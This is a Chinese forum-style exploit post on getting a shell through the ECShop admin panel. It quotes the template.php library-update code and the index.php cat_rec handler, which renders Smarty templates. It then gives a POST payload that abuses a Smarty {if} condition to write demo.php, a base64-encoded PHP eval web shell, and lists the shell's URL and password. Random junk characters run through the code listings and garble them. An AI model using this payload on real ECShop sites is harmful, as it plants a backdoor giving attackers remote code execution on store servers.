Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
) s# o, v  X* |9 W2 n) O; T) @  |
0 S, X+ E6 c& V, {' G2 M1 if ($_REQUEST['act'] == 'update_library')

2   

; M' s- w- `4 X5 A* \3 {

4     check_authz_json('library_manage');
) V" ?$ j+ m  \* A. k
( o& A$ T( ~: B( O5   

" V/ ]$ Z5 X3 N  D- R6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   
- q+ y" ~, i3 U2 E7 N+ S
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   
; F& \' y# V! X) n% a  z
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

; T- s9 A" x7 H& {; S0 n/ f13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

# v" j3 A7 V9 J6 R5 P6 s; R15     {
( }1 @) k! @; |% s7 o9 x9 X# N% J/ C
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
" w9 p& s0 P4 F7 O! p# K. c
17         make_json_result('', $_LANG['update_lib_success']);

' T3 i' d8 g6 `& w! G" e* y! m* t% ]  @. R18     }

& N+ v+ P$ z1 y: r! V: O. v19     else

20     {
4 ?3 _) W) k" [% v
% i" P0 Y' R$ x$ U% [7 Z' e21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
6 E1 X! d4 q, S$ F9 Z
22     }

+ {% r( F% m( A# t! `23 }

那么找个比较方便调用了模板的文件
index.php
5 {) x( z( K, `( R& v/ v
1 if ($act == 'cat_rec')

2   

! ^& ?( U! |+ A4 w( T7 M9 i: R7 d+ h3 {
0 s; Y' b0 ~. e6 j% P: t! g
4   
/ z7 G( \' t5 ^4 k5 i
! ~  h  G. R9 Q. ?5 k5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
8 C: I2 c3 x5 L6 E6 R% P6 a2 G
6   

- d4 W* q- s2 o# b7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
$ C! b, A  K8 L! m6 R
0 j- Q/ Q; e2 b# A" m2 U, n8   
9 @. d% a( L( Q5 Y
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
$ \9 Z7 ~: z* C; W
10   
. N% o5 W. h  s: |: z
6 Z1 l. g% x& q- Y$ q) g' I11     include_once('includes/cls_json.php');

12   
: L  O7 I7 X" S. x
13     $json = new JSON;

) R- k' i" s/ E14   
. y1 Z0 L' G1 t7 g
5 X0 J3 T2 w1 N3 P! t8 S15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
; z8 Z8 _5 }: ?8 h. s
7 F4 \2 a" w2 [, C  H16   
$ M. n! `  n5 J& e/ X  C3 y0 v
& Y, B1 B* l  {: g) i! t* n% s3 T17     $children = get_children($cat_id);
* ^+ P2 o( M1 _
4 h5 C2 o* K; ]5 L- n8 w4 \. {18   
* M! W$ h# t. Y
4 m7 J  @+ }' Q1 R* @/ B2 h19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
1 G. ^1 S8 n$ j, X4 S' C
20   

21     $smarty->assign('cat_rec_sign', 1);
" Q" d5 y# s4 }' G$ i
22   
& b" [. d6 G8 k" N% l4 p9 r
" a5 T/ k2 b- N; q2 ?# L23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

: }" `9 Y0 V# V' R4 C6 X24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
% Z  n& d# p) h5 t1 n9 S: R
26   

27         echo $rec_array[$rec_type];

1 l- s$ ?/ f. d28   
! H- @; Y' h6 d. G, a2 Q' j! h
29     die($json->encode($result));

& L; I; \) p) Y: a30   
) ?3 Z0 l0 Z7 {9 e4 _3 l4 X  g
7 b1 s- g5 M! A# @* i9 E31 }
9 I) A+ Y; @* ^* ^$ G' [, f1 b: O
那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
" g8 T, b- |3 P2 y" {# ^( L
​
# _+ Y0 n7 u" u( r2 K0 D1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
3 k  g" P  C- {% m3 ^2 G
然后访问http://localhost/ec/index.php?act=cat_rec
+ J9 X2 G! m) B- ?8 q! B2 E. ?
; C  z- {/ `- u; S* Jshel地址：http://localhost/ec/demo.php
密码c
+ |5 a% @9 L% ^! D  |% K6 d